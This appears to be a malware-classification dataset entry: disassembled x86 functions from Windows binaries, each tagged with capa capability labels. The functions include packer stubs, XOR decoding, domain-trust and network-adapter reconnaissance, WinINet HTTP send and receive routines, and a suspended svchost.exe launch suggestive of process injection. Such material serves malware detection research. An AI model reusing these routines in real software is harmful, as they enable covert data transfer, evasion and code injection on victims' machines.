joyce8/EMBER2024-capa huggingface dataset:
Function at 0x466320
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x42000]
lea eax, [edi + 0x53fd4]
push dword [eax]
mov dword [eax], 0xf8834068
push eax
push edi
jmp 0x46634a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x466351
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x466340
mov eax, 1
add ebx, ebx
jne 0x466363
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x466374
jne 0x466393
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x466393
dec eax
add ebx, ebx
jne 0x466380
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x466358
add ebx, ebx
jne 0x46638f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4663e5
xor ecx, ecx
sub eax, 3
jb 0x4663ab
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x46641a
sar eax, 1
mov ebp, eax
jmp 0x4663b6
add ebx, ebx
jne 0x4663b6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x466384
inc ecx
add ebx, ebx
jne 0x4663c4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x466384
add ebx, ebx
jne 0x4663d1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4663c6
jne 0x4663e2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4663c6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x466404
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4663f6
jmp 0x466346
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x466404
add edi, ecx
jmp 0x466346
pop esi
pop edi
pop eax
mov dword [edi], eax
mov edi, esi
mov ecx, 0x1967
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x466426
cmp byte [edi], 0xb
jne 0x466426
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x46642b
lea edi, [esi + 0x62000]
mov eax, dword [edi]
or eax, eax
je 0x4664a3
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x67240]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x6738c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x466458
mov ecx, edi
jns 0x466487
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x67394]
or eax, eax
je 0x46649d
mov dword [ebx], eax
add ebx, 4
jmp 0x466475
call dword [esi + 0x67390]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x4664d4
cmp al, 0xef
ja 0x4664c7
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x4664a9
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x4664b6
mov ebp, dword [esi + 0x67398]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x20f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x466508
sub esp, 0xffffff80
jmp 0x427e1e
Function at 0x431005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
mov ebx, 0x40915c
nop
mov ecx, 0x4faf372f
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43104e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x431024
nop
nop
nop
nop
mov eax, section..reloc
nop
nop
mov ebx, 0x42f3f8
nop
mov ecx, 0x21770145
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x431084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43106c
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219

Function at 0x401996
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xc
mov edi, dword [ebp + 0xc]
mov ebx, dword [ebp + 0x10]
test ebx, ebx
sete dl
cmp dword [ebp + 8], 0
sete al
mov ecx, 0
or dl, al
jne 0x401ada
lea ecx, [edi*4 + 0xb]
mov edx, 0x2aaaaaab
mov eax, ecx
imul edx
sar edx, 1
mov eax, ecx
sar eax, 0x1f
sub edx, eax
lea edx, [edx*4 + 1]
cmp edx, dword [ebp + 0x14]
jle 0x401a3d
mov dword [esp], 0x6f
call 0x40c300
sub esp, 4
mov ecx, 0
jmp 0x401ada
movzx eax, byte [ecx]
and eax, 3
shl eax, 4
movzx eax, byte [eax + section.kw62hqrh]
mov byte [ebx + 1], al
mov byte [ebx + 2], 0x3d
mov byte [ebx + 3], 0x3d
add ebx, 4
jmp 0x401ad2
movzx eax, byte [ecx + 1]
and eax, 0xf
movzx eax, byte [eax*4 + section.kw62hqrh]
mov byte [ebx + 2], al
mov byte [ebx + 3], 0x3d
add ebx, 4
jmp 0x401ad2
mov esi, 0
mov ecx, dword [ebp + 8]
cmp esi, edi
jge 0x401ad2
movzx eax, byte [ecx]
shr al, 2
movzx eax, al
movzx eax, byte [eax + section.kw62hqrh]
mov byte [ebx], al
mov eax, edi
sub eax, esi
cmp eax, 1
je 0x4019fc
movzx edx, byte [ecx]
and edx, 3
shl edx, 4
movzx eax, byte [ecx + 1]
shr al, 4
movzx eax, al
or edx, eax
movzx eax, byte [edx + section.kw62hqrh]
mov byte [ebx + 1], al
mov eax, edi
sub eax, esi
cmp eax, 2
je 0x401a1f
movzx edx, byte [ecx + 1]
and edx, 0xf
shl edx, 2
movzx eax, byte [ecx + 2]
shr al, 6
movzx eax, al
or edx, eax
movzx eax, byte [edx + section.kw62hqrh]
mov byte [ebx + 2], al
movzx eax, byte [ecx + 2]
and eax, 0x3f
movzx eax, byte [eax + section.kw62hqrh]
mov byte [ebx + 3], al
add esi, 3
add ecx, 3
add ebx, 4
cmp esi, edi
jl 0x401a4d
mov byte [ebx], 0
mov ecx, 1
mov eax, ecx
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x403371
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
mov eax, 0x47fd9068
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x54], eax
mov eax, dword [ebp + 8]
sub eax, dword [ebp + 0xc]
push ebx
push esi
mov dword [ebp - 0x20], eax
push edi
xor edi, edi
and dword [ebp - 0x5c], edi
mov dword [ebp + 0x10], 0x3562372b
movzx ebx, byte [ebp + 0x13]
mov eax, 0xffffe56a
sub eax, dword [ebp + 0xc]
mov esi, 0x5a177338
mov edx, 0xa5e88cc7
mov ecx, 0xb8026f97
mov dword [ebp - 0x74], eax
mov eax, dword [0x42239c]
mov dword [ebp - 0x10], edi
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x64], esi
mov dword [ebp - 0x60], edx
mov dword [ebp - 0x58], ecx
jmp 0x4033e0
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 0x20]
add ecx, edi
mov dl, byte [edx + ecx]
mov byte [ebp - 2], dl
movzx edx, dl
mov dword [ebp - 8], edx
xor edx, edx
mov ebx, 0xf98
sub ebx, eax
and ebx, 0x4208
or ebx, 0x4ba28c77
mov eax, 0x68c7ff25
div ebx
xor edx, edx
mov ebx, 0x3fb579f3
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 8]
movzx ecx, byte [ecx]
push 0x49
movzx esi, byte [ebp + 0x10]
div ebx
mov eax, edi
mov ebx, 0x6fe2be63
sub edx, edi
add edx, 0x1a96
or edx, edi
or edx, 0x7eaf
imul edx, ecx
imul edx, edx, 0x22800000
sub eax, edx
add eax, 0x4a
xor edx, edx
div ebx
mov ebx, 0xc61bf6df
mov eax, edx
or eax, 0x5f
xor edx, edx
div ebx
mov ebx, 0xacead5f
mov eax, edx
xor eax, edi
xor edx, edx
div ebx
mov eax, ecx
shl eax, 0x19
mov ebx, 0xdbb8f76e
shl ecx, 0xa
add edx, eax
or edx, 0x56
pop eax
sub eax, edx
xor edx, edx
div ebx
push 0x1b
pop eax
mov ebx, edx
xor ebx, ecx
xor edx, edx
or ebx, 0x34328764
div ebx
xor edx, edx
mov ecx, eax
or ecx, 0xd7f4ddeb
mov eax, edi
div ecx
xor edx, edx
mov ecx, eax
mov eax, dword [ebp - 8]
xor eax, 0x101
and eax, 0x5119
or ecx, 0xaadaef86
div ecx
mov eax, dword [ebp - 8]
mov ecx, esi
xor ecx, 0x10200193
or ecx, 0x49cc8a2c
sub eax, edx
imul eax, eax, 0x26
sub eax, 0x12b4
xor edx, edx
div ecx
push esi
mov dword [0x42239c], eax
jmp loc.0043b000

Function at 0x4074ea
Capabilities:
Execute anti-debugging instructions
Print debug messages
Terminate process

Disassembly:
add esi, 0
neg ecx
mov dword [0x4100fd], esi
sub edi, 0
not ecx
mov dword [0x4100f9], edi
or ebx, 0
not ecx
mov dword [0x410109], ebx
pop eax
jmp fcn.00403719
Function at 0x708d6190
Capabilities:
Packed with generic packer

Disassembly:
cmp byte [esp + 8], 1
jne 0x708d6354
pushal
mov esi, 0x708d3015
lea edi, [esi - 0x12015]
push edi
or ebp, 0xffffffff
jmp 0x708d61ba
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x708d61c1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x708d61b0
mov eax, 1
add ebx, ebx
jne 0x708d61d3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x708d61c8
jne 0x708d61e4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x708d61c8
xor ecx, ecx
sub eax, 3
jb 0x708d61f8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x708d626a
mov ebp, eax
add ebx, ebx
jne 0x708d6203
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x708d6210
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x708d6234
inc ecx
add ebx, ebx
jne 0x708d6220
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x708d6215
jne 0x708d6231
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x708d6215
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x708d6254
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x708d6245
jmp 0x708d61b6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x708d6254
add edi, ecx
jmp 0x708d61b6
pop esi
mov edi, esi
mov ecx, 0x45
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x708d6272
cmp byte [edi], 0
jne 0x708d6272
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x708d6277
lea edi, [esi + 0x14000]
mov eax, dword [edi]
or eax, eax
je 0x708d62e6
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x163cc]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1641c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x708d62a4
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x16420]
or eax, eax
je 0x708d62e0
mov dword [ebx], eax
add ebx, 4
jmp 0x708d62c1
popal
xor eax, eax
ret 0xc
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x708d6317
cmp al, 0xef
ja 0x708d630a
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x708d62ec
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x708d62f9
mov ebp, dword [esi + 0x16424]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x708d634b
sub esp, 0xffffff80
jmp 0x708c1850
Function at 0x100012ae
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
push esi
push dword [ebp + 8]
call section..text
pop ecx
pop ecx
xor ecx, ecx
test eax, eax
je 0x100012cf
xor byte [ecx + esi], 0x7a
inc ecx
cmp ecx, eax
jb 0x100012c6
mov byte [eax + esi], 0
inc eax
pop esi
pop ebp
ret

Function at 0x10001652
Capabilities:
Encode data using xor
Get local ipv4 addresses
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
mov eax, 0x8000
xorps xmm0, xmm0
push edi
push eax
movlpd qword [ebp - 0x10], xmm0
mov dword [ebp - 8], eax
call fcn.100011a4
pop ecx
mov ebx, eax
lea eax, [ebp - 8]
push eax
push ebx
push 0
push 0
push 2
mov dword [ebp - 4], ebx
call dword [sym.imp.IPHLPAPI.DLL_GetAdaptersAddresses]
test eax, eax
jne 0x100016c8
test ebx, ebx
je 0x100016c8
mov esi, dword [ebp - 0xc]
mov edi, dword [ebp - 0x10]
push 8
lea eax, [ebp - 0x10]
push 0
push eax
call fcn.10001239
push dword [ebx + 0x34]
lea eax, [ebx + 0x2c]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.10001214
xor edi, dword [ebp - 0x10]
add esp, 0x18
xor esi, dword [ebp - 0xc]
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x10001696
mov ebx, dword [ebp - 4]
jmp 0x100016ce
mov esi, dword [ebp - 0xc]
mov edi, dword [ebp - 0x10]
push ebx
call fcn.100011cf
pop ecx
call fcn.10001bdc
xor ecx, ecx
mov edx, eax
xor ecx, edi
xor edx, esi
pop edi
pop esi
mov eax, ecx
pop ebx
leave
ret

Function at 0x100016e9
Capabilities:
Compress data via winapi
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push dword [ebp + 0x10]
call fcn.100011a4
mov edx, dword [ebp + 0xc]
mov edi, eax
mov esi, dword [ebp + 8]
pop ecx
push 8
pop ecx
cmp edx, ecx
jbe 0x10001718
mov eax, ecx
and eax, 7
mov al, byte [eax + esi]
xor byte [ecx + esi], al
inc ecx
cmp ecx, edx
jb 0x10001708
lea eax, [ebp - 4]
push eax
lea eax, [edx - 8]
push eax
lea eax, [esi + 8]
push eax
push dword [ebp + 0x10]
push edi
push 2
call dword [sym.imp.ntdll.dll_RtlDecompressBuffer]
mov ebx, eax
test ebx, ebx
jne 0x10001743
push dword [ebp - 4]
push edi
push esi
call fcn.10001214
add esp, 0xc
push edi
call fcn.100011cf
pop ecx
xor eax, eax
test ebx, ebx
pop edi
cmove eax, dword [ebp - 4]
pop esi
pop ebx
leave
ret
Function at 0x1000188e
Capabilities:
Check http status code
Connect to http server
Parse url
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x258
push ebx
push esi
push edi
push 0x3c
pop esi
push esi
xor ebx, ebx
lea eax, [ebp - 0x50]
push ebx
push eax
call fcn.10001239
add esp, 0xc
mov dword [ebp - 0x50], esi
lea eax, [ebp - 0x154]
mov byte [ebp - 0x154], bl
mov dword [ebp - 0x40], eax
mov ecx, 0x104
lea eax, [ebp - 0x258]
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x50]
push eax
push ebx
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x20], ecx
mov byte [ebp - 0x258], bl
call dword [sym.imp.WININET.dll_InternetCrackUrlA]
test eax, eax
je 0x10001969
mov eax, dword [ebp - 0x44]
test eax, eax
push 3
pop edi
cmove eax, edi
mov dword [ebp - 0x44], eax
cmp eax, edi
je 0x10001903
cmp eax, 4
jne 0x10001969
call fcn.10001c27
test eax, eax
je 0x10001969
cmp dword [ebp - 0x44], 4
mov ecx, 0x84883100
push 1
push ebx
push edi
push ebx
push ebx
push dword [ebp - 0x38]
mov esi, 0x84080100
cmove esi, ecx
lea ecx, [ebp - 0x154]
push ecx
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
mov ebx, eax
mov dword [ebp - 0x14], ebx
test ebx, ebx
je 0x10001969
push 1
push esi
push 0x10006050
xor edi, edi
lea eax, [ebp - 0x258]
push edi
push edi
push eax
push 0x100031c0
push ebx
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov esi, eax
test esi, esi
jne 0x10001970
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
push 4
pop eax
cmp dword [ebp - 0x44], eax
jne 0x100019a2
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
push 0x1f
push esi
call dword [sym.imp.WININET.dll_InternetQueryOptionA]
or dword [ebp - 4], 0x1100
lea eax, [ebp - 4]
push 4
push eax
push 0x1f
push esi
call dword [sym.imp.WININET.dll_InternetSetOptionA]
push edi
push edi
push edi
push edi
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
push edi
lea eax, [ebp - 0x10]
mov dword [ebp - 8], edi
push eax
lea eax, [ebp - 8]
mov dword [ebp - 0x10], 4
push eax
push 0x20000013
push esi
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
cmp dword [ebp - 8], 0xc8
jne 0x10001a1e
mov edi, dword [ebp + 0xc]
test edi, edi
je 0x10001a1e
mov eax, dword [ebp + 0x14]
and dword [eax], 0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push edi
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
cmp eax, 1
jne 0x10001a1e
mov ebx, dword [ebp + 0x10]
mov eax, dword [ebp - 4]
test eax, eax
je 0x10001a1b
mov ecx, dword [ebp + 0x14]
add edi, eax
sub ebx, eax
add dword [ecx], eax
lea eax, [ebp - 4]
push eax
push ebx
push edi
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
cmp eax, 1
je 0x100019f9
mov ebx, dword [ebp - 0x14]
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push ebx
call esi
cmp dword [ebp - 8], 0xc8
jne 0x10001969
xor eax, eax
inc eax
jmp 0x1000196b
Function at 0x10001b58
Capabilities:
Get domain trust relationships

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 4]
xor ebx, ebx
push eax
push 0x3f
push ebx
mov byte [esi], bl
call dword [sym.imp.NETAPI32.dll_DsEnumerateDomainTrustsA]
test eax, eax
je 0x10001b7e
xor eax, eax
jmp 0x10001bd8
mov ecx, dword [ebp + 8]
test ecx, ecx
je 0x10001bd5
push edi
mov edi, ebx
mov eax, dword [ebp - 4]
cmp dword [edi + eax], 0
je 0x10001baa
push dword [edi + eax]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcat]
push 0x100031c4
push esi
call dword [sym.imp.KERNEL32.dll_lstrcat]
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 4]
mov eax, dword [edi + eax + 4]
test eax, eax
je 0x10001bcc
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcat]
push 0x100031c4
push esi
call dword [sym.imp.KERNEL32.dll_lstrcat]
mov ecx, dword [ebp + 8]
inc ebx
add edi, 0x2c
cmp ebx, ecx
jb 0x10001b88
pop edi
xor eax, eax
inc eax
pop esi
pop ebx
leave
ret
Function at 0x10001e3b
Capabilities:
Check http status code
Connect to http server
Parse url
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x254
push ebx
push esi
push edi
push 0x3c
pop esi
push esi
lea eax, [ebp - 0x4c]
push 0
push eax
call fcn.10001239
add esp, 0xc
mov dword [ebp - 0x4c], esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrlen]
lea eax, [ebp - 0x150]
mov dword [ebp - 0x3c], eax
mov ecx, 0x104
lea eax, [ebp - 0x254]
mov dword [ebp - 0x38], ecx
push str.Content_Type:_application_x_www_form_urlencoded
mov dword [ebp - 0x20], eax
xor ebx, ebx
mov dword [ebp - 0x1c], ecx
call esi
mov edi, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
mov byte [ebp - 0x150], bl
mov byte [ebp - 0x254], bl
test edi, edi
je 0x10001ea3
push edi
call esi
mov ebx, eax
lea eax, [ebp - 0x4c]
push eax
push 0
push 0
push dword [ebp + 8]
call dword [sym.imp.WININET.dll_InternetCrackUrlA]
test eax, eax
je 0x10001f36
mov eax, dword [ebp - 0x40]
test eax, eax
push 3
pop ecx
cmove eax, ecx
mov dword [ebp - 0x40], eax
cmp eax, ecx
je 0x10001ecf
cmp eax, 4
jne 0x10001f36
call fcn.10001c27
test eax, eax
je 0x10001f36
cmp dword [ebp - 0x40], 4
mov ecx, 0x84883100
mov esi, 0x84080100
cmove esi, ecx
xor ecx, ecx
push ecx
push ecx
push 3
push ecx
push ecx
push dword [ebp - 0x34]
lea ecx, [ebp - 0x150]
push ecx
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [ebp - 8], eax
test eax, eax
je 0x10001f36
xor ecx, ecx
push ecx
push esi
push 0x10006048
push ecx
push ecx
lea ecx, [ebp - 0x254]
push ecx
push str.POST
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov esi, eax
test esi, esi
jne 0x10001f3d
push dword [ebp - 8]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
push 4
pop eax
cmp dword [ebp - 0x40], eax
jne 0x10001f6f
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp + 0xc]
push eax
push 0x1f
push esi
call dword [sym.imp.WININET.dll_InternetQueryOptionA]
or dword [ebp + 0xc], 0x1100
lea eax, [ebp + 0xc]
push 4
push eax
push 0x1f
push esi
call dword [sym.imp.WININET.dll_InternetSetOptionA]
push ebx
push edi
push dword [ebp - 0x10]
push str.Content_Type:_application_x_www_form_urlencoded
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
and dword [ebp - 4], 0
cmp eax, 1
jne 0x10001fda
push 0
lea eax, [ebp + 0xc]
mov dword [ebp + 0xc], 4
push eax
lea eax, [ebp - 4]
push eax
push 0x20000013
push esi
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
cmp dword [ebp - 4], 0xc8
jne 0x10001fda
mov edi, dword [ebp + 0x10]
test edi, edi
je 0x10001fda
mov eax, dword [ebp + 0x14]
mov ebx, dword [ebp + 0x18]
dec eax
push ebx
push eax
push edi
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x10001fd7
mov eax, dword [ebx]
test eax, eax
je 0x10001fd7
mov byte [eax + edi], 0
jmp 0x10001fda
and dword [ebx], 0
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 8]
call esi
cmp dword [ebp - 4], 0xc8
jne 0x10001f36
xor eax, eax
inc eax
jmp 0x10001f38
Function at 0x10002017
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push dword [ebp + 8]
or ebx, 0xffffffff
call fcn.10001ffd
pop ecx
test eax, eax
je 0x100020a7
lea ecx, [ebp - 4]
push ecx
lea ecx, [ebp - 8]
push ecx
call fcn.100020aa
pop ecx
pop ecx
test eax, eax
jne 0x10002046
or eax, 0xffffffff
jmp 0x100020a7
push edi
mov edi, dword [ebp - 8]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push edi
call fcn.10002505
add esp, 0x14
cmp eax, 1
jne 0x1000208b
push dword [ebp - 0xc]
push dword [ebp - 0x10]
push dword [ebp - 4]
push edi
call fcn.100027a7
add esp, 0x10
cmp eax, 1
jne 0x1000208b
push edi
call dword [sym.imp.KERNEL32.dll_GetProcessId]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x10002094
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop edi
pop ebx
leave
ret

Function at 0x100020aa
Capabilities:
Create process on windows
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
push edi
push 0x44
xor edi, edi
lea eax, [ebp - 0x54]
push edi
push eax
call fcn.10001239
add esp, 0xc
mov dword [ebp - 0x54], 0x44
lea eax, [ebp - 0x158]
push 0x104
push eax
push str.SystemRoot
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
push str.System32_svchost.exe
lea eax, [ebp - 0x158]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcat]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push edi
push edi
push 0x424
push edi
push edi
push edi
lea eax, [ebp - 0x158]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
test eax, eax
jne 0x1000211c
leave
ret
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 0x10]
mov dword [ecx], eax
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp - 0xc]
mov dword [ecx], eax
xor eax, eax
inc eax
leave
ret